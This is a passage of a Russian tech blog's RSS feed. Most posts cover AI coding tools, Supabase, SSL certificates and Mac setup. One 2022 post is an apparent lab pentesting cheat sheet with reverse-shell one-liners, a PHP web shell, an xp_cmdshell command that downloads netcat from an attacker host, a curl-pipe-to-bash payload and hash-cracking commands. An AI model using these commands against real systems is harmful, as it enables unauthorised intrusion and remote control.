      <content:encoded><![CDATA[<div class="reply-to"><a href="https://koz.tv/ru/posts/pro-instrumentymodeli-dlya-vaybkodinga/">↩️ В ответ на: Инструменты и модели для кода: мой рейтинг на январь 2026</a></div><p>Очень жирное предложение, если она правда круче Opus, то за эти 6 дней можно успеть сделать несколько проектов и оценить как это все работает не потратив ни копейки.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-480.avif 480w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-960.avif 960w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-1600.avif 1600w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1.avif 2236w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-960.webp" alt="" width="2236" height="1260" style="aspect-ratio:2236/1260" srcset="https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-480.webp 480w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-960.webp 960w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-1600.webp 1600w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1.webp 2236w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Инструменты и модели для кода: мой рейтинг на январь 2026</title>
      <link>https://koz.tv/ru/posts/pro-instrumentymodeli-dlya-vaybkodinga/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/pro-instrumentymodeli-dlya-vaybkodinga/</guid>
      <pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate>
      <description>Мой личный рейтинг цена / качество на январь 2026. ChatGPT Codex https://openai.com/chatgpt 20$ в месяц, входит в обычную Plus-подписку, которую многие и так…</description>
      <content:encoded><![CDATA[<p>Мой личный рейтинг цена / качество на январь 2026.</p>
<ol>
<li>ChatGPT Codex<br><a href="https://openai.com/chatgpt" target="_blank" rel="noopener">https://openai.com/chatgpt</a>
20$ в месяц, входит в обычную Plus-подписку, которую многие и так платят.
Очень большие лимиты — если сравнивать с Claude, это как их план за ~100$.
Если не сидеть в нём весь рабочий день, а использовать для своих сайд-проектов –
это сейчас, по-моему, лучший вариант.
Плюс у Codex большое окно памяти: он спокойно переваривает крупные проекты и не уходит постоянно в «задумчивость» из-за переполненного контекста.</li>
<li>Claude Code (Max)<br><a href="https://www.anthropic.com/claude" target="_blank" rel="noopener">https://www.anthropic.com/claude</a>
Подписка за 100$, но по факту часто приходится брать 200$, если реально работаешь целый день или ведёшь несколько проектов. За 20$ даже смысла нет брать, она заканчивается моментально, даже на сайд проект не хватит, особенно если включить топовую модель Opus.
Как продукт в целом, они лучшие сейчас. Задают направление, остальные в основном догоняют. По отзывам Opus считается самой «умной» моделью на рынке. По моему опыту — не факт что она прям умнее Codex, но если нужно писать много кода и есть лишние 200$ — это вероятно лучший вариант (хотя я не брал подписку за 200$ от ChatGPT, может она лучше).</li>
<li>OpenCode<br><a href="https://opencode.ai" target="_blank" rel="noopener">https://opencode.ai</a>
Открытый инструмент. Можно бесплатно использовать некоторые модели, подключать API GPT или Claude, или вообще свои локальные модели. Хороший вариант если хочется вообще бесплатно попробовать или локальные модели использовать.</li>
<li>Kimi K2.5<br><a href="https://kimi.com" target="_blank" rel="noopener">https://kimi.com</a>
Вышла буквально вчера. Уже слышал хорошие отзывы, сам пока не пробовал. Заявляют уровень Opus, стоит сильно дешевле, и теоретически можно развернуть локально урезанную версию (нужна видеокарта с большим объёмом памяти).</li>
<li>GLM-4.7<br><a href="https://github.com/THUDM/GLM" target="_blank" rel="noopener">https://github.com/THUDM/GLM</a>
Китайская модель, тоже целится в конкуренцию с Opus и Codex. Насколько хороша – не скажу, но стоит дешевле. И у них есть облегчённая версия GLM-4.7 Flash, которую можно использовать бесплатно через тот же OpenCode. Или цепануть к модному нынче Clawdbot (Moltbot) — и вообще не думать про токены/деньги.</li>
<li>Google Antigravity<br><a href="https://deepmind.google/technologies/alphacode/" target="_blank" rel="noopener">https://deepmind.google/technologies/alphacode/</a>
В России не работает, но можно извернуться и подключить через тот же OpenCode. Сколько хватает бесплатных лимитов — не знаю, но если хочется хоть немного пощупать Opus бесплатно, это вариант.</li>
<li>Copilot<br><a href="https://github.com/features/copilot" target="_blank" rel="noopener">https://github.com/features/copilot</a>
У меня с ним не сложилось. Два подхода: в первый раз не смог оплатить, во второй — подписка вроде прошла, но в одном проекте он её не видел, в другом постоянно подвисал и сыпал ошибками.
Хотя по цене и лимитам он выглядит неплохо:
10$ — 300 запросов к Claude Sonnet,
39$ — 1500 запросов.
Но личный опыт был так себе.
<strong>Если вы только начинаете писать код с нейросетями – берите Codex и не парьтесь.</strong>
Для старта сейчас это самый нормальный вариант.</li>
</ol>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-480.avif 480w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-960.avif 960w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-1600.avif 1600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-960.webp" alt="" width="1600" height="900" style="aspect-ratio:1600/900" srcset="https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-480.webp 480w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-960.webp 960w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-1600.webp 1600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Сгенерированный трейлер выглядит лучше чем у 90% фильмов которые вышли за последние пару лет.</title>
      <link>https://koz.tv/ru/posts/sgenerirovannyy-treyler-vyglyadit-luchshe-chem-u-90-filmov-k/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/sgenerirovannyy-treyler-vyglyadit-luchshe-chem-u-90-filmov-k/</guid>
      <pubDate>Sat, 24 Jan 2026 00:00:01 GMT</pubDate>
      <description>Я бы точно такое включил, перестав бесконечно искать что же хочется посмотреть. Голливудские нейросетевые трейлеры фильмов больше нельзя отличить от реальных…</description>
      <content:encoded><![CDATA[<p>Я бы точно такое включил, перестав бесконечно искать что же хочется посмотреть.</p>
<blockquote>
<p>Голливудские нейросетевые трейлеры фильмов больше нельзя отличить от реальных. Ни по картинке, ни по монтажу, ни по игре актёров.</p>
<p>ИИ-слоп готовится зайти в кинотеатры💀</p>
<p>— <a href="https://t.me/sale_caviar/15724" target="_blank" rel="noopener">кабачковая икра по акции</a></p>
</blockquote>
<p><video src="https://koz.tv/posts/the-generated-trailer-looks-better-than-90-of-the-movies/image1.mp4" controls></video></p>
]]></content:encoded>
    </item>
    <item>
      <title>Прикупил себе вот такого красавчика за 3000 рублей, попробую сделать кое-что интересное из него.</title>
      <link>https://koz.tv/ru/posts/prikupil-sebe-vot-takogo-krasavchika-za-3000-rubley-poprobuy/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/prikupil-sebe-vot-takogo-krasavchika-za-3000-rubley-poprobuy/</guid>
      <pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate>
      <description>Прикупил себе вот такого красавчика за 3000 рублей, попробую сделать кое-что интересное из него.</description>
      <content:encoded><![CDATA[<p><video src="https://koz.tv/posts/picked-up-this-beauty-for-3000-rubles-ill-try-to-make-something/image1.mp4" controls></video></p>
]]></content:encoded>
    </item>
    <item>
      <title>Для маленьких проектов Supabase вообще-то неплохое решение.</title>
      <link>https://koz.tv/ru/posts/dlya-malenkih-proektov-supabase-voobsche-to-neplohoe-resheni/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/dlya-malenkih-proektov-supabase-voobsche-to-neplohoe-resheni/</guid>
      <pubDate>Thu, 22 Jan 2026 00:00:01 GMT</pubDate>
      <description>Если влезаешь в лимиты или не жалко денег за облако — оно реально экономит время. Многие сейчас используют Supabase вместе с n8n — это визуальный инструмент…</description>
      <content:encoded><![CDATA[<p>Если влезаешь в лимиты или не жалко денег за облако — оно реально экономит время.</p>
<p>Многие сейчас используют Supabase вместе с <a href="https://n8n.io/" target="_blank" rel="noopener">n8n</a> — это визуальный инструмент для автоматизаций, где логику собираешь из блоков: триггеры, запросы, действия, интеграции. Без кода или с минимальным рукоблудством. Стартуешь за минуты, многое работает сразу.</p>
<p>Для прототипов и небольших сервисов — вполне.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-480.avif 480w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-960.avif 960w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1.avif 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-960.webp" alt="" width="1200" height="630" style="aspect-ratio:1200/630" srcset="https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-480.webp 480w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-960.webp 960w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1.webp 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Про то, что иногда лучше выкинуть и забыть.</title>
      <link>https://koz.tv/ru/posts/pro-to-chto-inogda-luchshe-vykinut-i-zabyt/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/pro-to-chto-inogda-luchshe-vykinut-i-zabyt/</guid>
      <pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate>
      <description>В продолжение истории с Supabase. Где-то на второй или третий день я уже начал думать, что, может, стоило выбрать другое решение. Но каждый раз казалось: вот…</description>
      <content:encoded><![CDATA[<p>В продолжение истории с <a href="https://supabase.com/" target="_blank" rel="noopener">Supabase</a>.</p>
<p>Где-то на второй или третий день я уже начал думать, что, может, стоило выбрать другое решение. Но каждый раз казалось: вот ещё чуть-чуть — и всё взлетит, как надо. И тогда будет счастье. Но что-то оно не приходило.</p>
<p>После пятого дня стало ещё сложнее. Выкидывать уже жалко: много чего вокруг завязано, за сервер заплачено, и вроде бы «почти работает». А по ощущениям — всё равно не так, как должно.</p>
<p>В какой-то момент я поставил себе дедлайн: если к нему это не заработает нормально — сворачиваемся. Без «ещё одного вечера» и «давай попробуем вот это».</p>
<p>Не взлетело, и я выкинул. Ещё полдня ушло на то, чтобы перевести всё на обычную базу, и я пошёл делать другие фичи.</p>
<p>Не знаю, сколько бы ещё возился с этим модным решением. Иногда приходится признать, что куча времени уже закопана, и всё равно бросить. Обидно, но иначе закопаешь ещё больше.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-480.avif 480w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-960.avif 960w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1.avif 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-960.webp" alt="" width="1200" height="600" style="aspect-ratio:1200/600" srcset="https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-480.webp 480w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-960.webp 960w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1.webp 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Я потратил неделю, чтобы понять, что мне не нужен модный стек.</title>
      <link>https://koz.tv/ru/posts/ya-potratil-nedelyu-chtoby-ponyat-chto-mne-ne-nuzhen-modnyy-/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/ya-potratil-nedelyu-chtoby-ponyat-chto-mne-ne-nuzhen-modnyy-/</guid>
      <pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate>
      <description>Как и многие, я начал с Supabase в качестве базы данных. Потом упёрся в бесплатные лимиты, платные тарифы показались жадными, и я решил развернуть всё на своём…</description>
      <content:encoded><![CDATA[<p>Как и многие, я начал с Supabase в качестве базы данных. Потом упёрся в бесплатные лимиты, платные тарифы показались жадными, и я решил развернуть всё на своём сервере. Убил на это неделю.</p>
<p>Взамен получил систему сложнее, чем мне нужно, и с ограничениями, которые мне не подошли. У меня есть другие проекты, им тоже нужна база, а у Supabase она одна. Ещё оказалось, что ресурсов эта махина ест прилично.</p>
<p>В итоге я просто поднял Postgres в контейнерах на том же сервере, где живут остальные сервисы, и ничего сверху за него не плачу.</p>
<p>Надо было больше времени потратить на подумать, чем на поделать. Хотя попробовать новое очень хотелось.</p>
<p>Когда работаешь один, каждый неудачный выбор съедает время, а его на эксперименты немного. Опыт полезный, но без него я бы обошёлся.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Инструменты пентестинга и полезные команды</title>
      <link>https://koz.tv/ru/posts/instrumenty-pentestinga-i-poleznye-komandy/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/instrumenty-pentestinga-i-poleznye-komandy/</guid>
      <pubDate>Wed, 05 Oct 2022 00:00:00 GMT</pubDate>
      <description>GTFOBins — список Unix-бинарников, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах.</description>
      <content:encoded><![CDATA[<p><a href="https://gtfobins.github.io/" target="_blank" rel="noopener">GTFOBins</a> — список Unix-бинарников, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах.</p>
<p><a href="https://www.kali.org/" target="_blank" rel="noopener">Kali OS</a></p>
<p><a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/" target="_blank" rel="noopener">Выбор сетевых репозиториев</a></p>
<p>По умолчанию:</p>
<pre><code class="language-bash">echo &quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&quot; | sudo tee /etc/apt/sources.list
</code></pre>
<p>Более стабильная версия:</p>
<pre><code class="language-bash">echo &quot;deb http://http.kali.org/kali kali-last-snapshot main contrib non-free&quot; | sudo tee /etc/apt/sources.list
</code></pre>
<p>Установить все инструменты:</p>
<pre><code class="language-bash">sudo apt install -y kali-linux-large
</code></pre>
<p>Установить GUI:</p>
<pre><code class="language-bash">sudo apt install -y kali-win-kex
</code></pre>
<p><a href="https://www.kali.org/docs/wsl/win-kex/" target="_blank" rel="noopener">Документация GUI.</a> Запуск GUI, для выхода из полноэкранного режима нажмите <strong>F8</strong>:</p>
<pre><code class="language-bash">kex --win -s
</code></pre>
<p><a href="https://www.wappalyzer.com/apps" target="_blank" rel="noopener">Wappalyzer</a> — расширение браузера, которое показывает, на каких технологиях сделан сайт.</p>
<p>OpenVPN</p>
<pre><code class="language-bash">sudo openvpn --config vpn.ovpn --daemon
</code></pre>
<p>Сетевой интерфейс покажет команда <strong>ifconfig</strong>.</p>
<p>Отключение</p>
<pre><code class="language-bash">sudo ifconfig tun1 down
</code></pre>
<p>Поиск веб-каталогов на сайте:
<code>dirsearch -u http://october.metaltech.stf/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt</code></p>
<p>Responder</p>
<pre><code class="language-bash">sudo responder -I tun0
</code></pre>
<p>John the ripper</p>
<pre><code class="language-bash">zip2john backup.zip &gt; hashes
</code></pre>
<pre><code class="language-bash">john -w=/usr/share/wordlists/rockyou.txt hash.txt
</code></pre>
<p>Определение возможных хешей</p>
<pre><code class="language-bash">hashid 2cb42f8734ea607eefed3b70af13bbd3
</code></pre>
<p>Взлом хеша</p>
<pre><code class="language-bash">hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
</code></pre>
<p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server" target="_blank" rel="noopener">Пентестинг MSSQL</a></p>
<p><a href="https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet" target="_blank" rel="noopener">Шпаргалка по SQL-инъекциям MSSQL</a></p>
<p>Impacket mssql клиент</p>
<pre><code class="language-bash">impacket-mssqlclient ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
</code></pre>
<pre><code class="language-sql">xp_cmdshell &quot;powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.17.81/nc64.exe -outfile nc64.exe&quot;
xp_cmdshell &quot;powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.17.81 443&quot;
</code></pre>
<p>SQL map</p>
<pre><code class="language-bash">sqlmap -u &#39;http://10.129.10.184/dashboard.php?search=asd&#39; --cookie=&#39;PHPSESSID=tg7rj9h95j4bb1u3211ti406qo&#39;
</code></pre>
<pre><code class="language-bash">sqlmap -u &#39;http://10.129.10.184/dashboard.php?search=asd&#39; --cookie=&#39;PHPSESSID=tg7rj9h95j4bb1u3211ti406qo&#39; --os-shell
</code></pre>
<p><a href="https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe" target="_blank" rel="noopener">winPEAS</a> (повышение привилегий Windows)</p>
<p><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS" target="_blank" rel="noopener">linPEAS</a> (повышение привилегий Linux)</p>
<p>Evil Win Remote</p>
<pre><code class="language-bash">evil-winrm -i 10.129.233.177 -u administrator -p badminton
</code></pre>
<p><a href="https://nmap.org/" target="_blank" rel="noopener">Nmap</a></p>
<pre><code class="language-bash">sudo nmap -sV 192.168.1.1

sudo nmap -sV -sC 192.168.1.1

sudo nmap -p- --min-rate 5000 -sV 192.168.1.1
</code></pre>
<p>Gobuster</p>
<pre><code class="language-bash">go install github.com/OJ/gobuster/v3@latest
git clone https://github.com/danielmiessler/SecLists.git
gobuster dir --url http://10.129.236.130/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
gobuster dir --url http://10.129.119.70/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb
</code></pre>
<p>MySQL</p>
<pre><code class="language-bash">mysql -h 10.129.132.32 -u root
</code></pre>
<pre><code class="language-sql">SHOW databases; : Выводит базы данных, к которым есть доступ.
USE {database_name}; : Переключиться на базу данных с именем {database_name}.
SHOW tables; : Выводит доступные таблицы в текущей базе данных.
SELECT * FROM {table_name}; : Выводит все данные из таблицы {table_name}.
</code></pre>
<p>SMB</p>
<pre><code class="language-bash">smbclient -N -L \\\\{TARGET_IP}\\
-N : Без пароля
-L : Эта опция позволяет посмотреть, какие сервисы доступны на сервере
</code></pre>
<p><a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/" target="_blank" rel="noopener">Полностью интерактивные оболочки</a></p>
<p>Простой PHP Shell</p>
<pre><code class="language-php">echo &#39;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#39; &gt; shell.php
</code></pre>
<p>Reverse Shell</p>
<pre><code class="language-bash">printf &#39;#!/bin/bash\nbash -i &gt;&amp; /dev/tcp/&lt;YOUR_IP_ADDRESS&gt;/1337 0&gt;&amp;1&#39; &gt; shell.sh
</code></pre>
<p>Или</p>
<pre><code class="language-bash">bash -c &quot;bash -i &gt;&amp; /dev/tcp/{your_IP}/1337 0&gt;&amp;1&quot;
</code></pre>
<p>Запуск ncat listener</p>
<pre><code class="language-bash">nc -nvlp 1337
</code></pre>
<p>Запуск веб-сервера</p>
<pre><code class="language-bash">python3 -m http.server 8000
</code></pre>
<p>Пример запуска</p>
<pre><code>http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash
</code></pre>
<p>Функциональная оболочка</p>
<pre><code class="language-bash">python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;
</code></pre>
<p>Улучшение оболочки</p>
<pre><code class="language-bash">script /dev/null -c bash
</code></pre>
<p><a href="https://portswigger.net/burp/releases/professional-community-2022-7-1?requestededition=community" target="_blank" rel="noopener">Burp Suite</a></p>
<p><a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html" target="_blank" rel="noopener">Metasploit</a></p>
<p><a href="https://sqlmap.org/" target="_blank" rel="noopener">sqlmap</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Создание бесплатного SSL-сертификата для сайта на Windows</title>
      <link>https://koz.tv/ru/posts/sozdanie-besplatnogo-ssl-sertifikata-dlya-sayta-na-windows/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/sozdanie-besplatnogo-ssl-sertifikata-dlya-sayta-na-windows/</guid>
      <pubDate>Thu, 08 Sep 2022 00:00:00 GMT</pubDate>
      <description>Бесплатный сертификат можно сгенерировать здесь. Если нужно конвертировать CRT в PFX, скачайте openssl отсюда. Подойдёт что-то вроде…</description>
      <content:encoded><![CDATA[<p>Бесплатный сертификат можно сгенерировать здесь:</p>
<p><a href="https://zerossl.com/" target="_blank" rel="noopener">https://zerossl.com/</a></p>
<p>Если нужно конвертировать CRT в PFX, скачайте openssl отсюда:</p>
<p><a href="https://indy.fulgan.com/SSL/" target="_blank" rel="noopener">https://indy.fulgan.com/SSL/</a></p>
<p>Подойдёт что-то вроде &quot;openssl-1.0.2q-x64_86-win64.zip&quot;.</p>
<p>Если у вас отдельный crt для CA, объедините его с основным сертификатом в текстовом редакторе и назовите новый файл bundle.crt</p>
<p>Скопируйте все сертификаты в папку openssl. Откройте папку в терминале и выполните команду:</p>
<pre><code class="language-bash">.\openssl pkcs12 -export -out result.pfx -inkey private.key -in bundle.crt
</code></pre>
<p>Задайте пароль для нового сертификата. Если всё сделано правильно, в папке openssl появится result.pfx.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Настройка чистого MacBook</title>
      <link>https://koz.tv/ru/posts/nastroyka-chistogo-macbook/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/nastroyka-chistogo-macbook/</guid>
      <pubDate>Wed, 03 Feb 2021 00:00:00 GMT</pubDate>
      <description>Настройка чистого MacBook. Программы для установки: Visual Studio Code, Figma, Brew, Iterm, Zsh, Spectacle, Notion</description>
      <content:encoded><![CDATA[<p>Программы для установки:</p>
<ul>
<li><p><a href="https://code.visualstudio.com/" target="_blank" rel="noopener">Visual Studio Code</a></p>
</li>
<li><p><a href="https://desktop.figma.com/mac/Figma.zip" target="_blank" rel="noopener">Figma</a></p>
</li>
<li><p><a href="https://brew.sh/" target="_blank" rel="noopener">Brew</a></p>
<pre><code class="language-bash">/bin/bash -c &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&quot;
</code></pre>
</li>
<li><p><a href="https://iterm2.com/" target="_blank" rel="noopener">Iterm</a></p>
<pre><code class="language-bash">brew install --cask iterm2
</code></pre>
</li>
<li><p>Zsh</p>
<pre><code class="language-bash">sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&quot;
</code></pre>
</li>
<li><p><a href="https://www.spectacleapp.com/" target="_blank" rel="noopener">Spectacle</a></p>
</li>
<li><p><a href="https://www.notion.so/desktop" target="_blank" rel="noopener">Notion</a></p>
</li>
</ul>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/clean-mac-install-settings/image1-480.avif 480w, https://koz.tv/posts/clean-mac-install-settings/image1-960.avif 960w, https://koz.tv/posts/clean-mac-install-settings/image1.avif 1338w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/clean-mac-install-settings/image1-960.webp" alt="Скриншот 2022-10-12 в 17.15.53" width="1338" height="412" style="aspect-ratio:1338/412" srcset="https://koz.tv/posts/clean-mac-install-settings/image1-480.webp 480w, https://koz.tv/posts/clean-mac-install-settings/image1-960.webp 960w, https://koz.tv/posts/clean-mac-install-settings/image1.webp 1338w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/clean-mac-install-settings/image2-480.avif 480w, https://koz.tv/posts/clean-mac-install-settings/image2-960.avif 960w, https://koz.tv/posts/clean-mac-install-settings/image2.avif 1326w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/clean-mac-install-settings/image2-960.webp" alt="Скриншот 2022-10-12 в 17.16.35" width="1326" height="636" style="aspect-ratio:1326/636" srcset="https://koz.tv/posts/clean-mac-install-settings/image2-480.webp 480w, https://koz.tv/posts/clean-mac-install-settings/image2-960.webp 960w, https://koz.tv/posts/clean-mac-install-settings/image2.webp 1326w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/clean-mac-install-settings/image3-480.avif 480w, https://koz.tv/posts/clean-mac-install-settings/image3-960.avif 960w, https://koz.tv/posts/clean-mac-install-settings/image3.avif 1346w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/clean-mac-install-settings/image3-960.webp" alt="Скриншот 2022-10-12 в 17.36.24" width="1346" height="988" style="aspect-ratio:1346/988" srcset="https://koz.tv/posts/clean-mac-install-settings/image3-480.webp 480w, https://koz.tv/posts/clean-mac-install-settings/image3-960.webp 960w, https://koz.tv/posts/clean-mac-install-settings/image3.webp 1346w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Unity Collaborate</title>
      <link>https://koz.tv/ru/posts/unity-collaborate/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/unity-collaborate/</guid>
      <pubDate>Fri, 27 Mar 2020 00:00:00 GMT</pubDate>
      <description>В Unity можно создать команду и работать вместе над одним проектом. Перейдите на страницу организаций Unity и создайте команду.</description>
      <content:encoded><![CDATA[<p>В Unity можно создать команду и работать вместе над одним проектом.</p>
<p>Перейдите на <a href="https://id.unity.com/en/organizations/" target="_blank" rel="noopener">страницу организаций Unity</a> и создайте команду.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image1-480.avif 480w, https://koz.tv/posts/unity-collaborate/image1-960.avif 960w, https://koz.tv/posts/unity-collaborate/image1-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image1.avif 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/unity-collaborate/image1-960.webp" alt="Screen Shot 2020-03-27 at 19.04.39" width="2048" height="566" style="aspect-ratio:2048/566" srcset="https://koz.tv/posts/unity-collaborate/image1-480.webp 480w, https://koz.tv/posts/unity-collaborate/image1-960.webp 960w, https://koz.tv/posts/unity-collaborate/image1-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image1.webp 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Создайте новый проект или откройте существующий.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image2-480.avif 480w, https://koz.tv/posts/unity-collaborate/image2-960.avif 960w, https://koz.tv/posts/unity-collaborate/image2-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image2.avif 1944w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image2-960.webp" alt="Screen Shot 2020-03-28 at 15.35.57" width="1944" height="1206" style="aspect-ratio:1944/1206" srcset="https://koz.tv/posts/unity-collaborate/image2-480.webp 480w, https://koz.tv/posts/unity-collaborate/image2-960.webp 960w, https://koz.tv/posts/unity-collaborate/image2-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image2.webp 1944w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Перейдите в Window &gt; General &gt; Services.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image3-480.avif 480w, https://koz.tv/posts/unity-collaborate/image3.avif 481w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image3-480.webp" alt="Screen Shot 2020-03-28 at 15.38.45" width="481" height="600" style="aspect-ratio:481/600" srcset="https://koz.tv/posts/unity-collaborate/image3-480.webp 480w, https://koz.tv/posts/unity-collaborate/image3.webp 481w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>В правом верхнем углу нажмите &quot;Collab&quot; и сделайте свой первый коммит.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image4-480.avif 480w, https://koz.tv/posts/unity-collaborate/image4.avif 600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
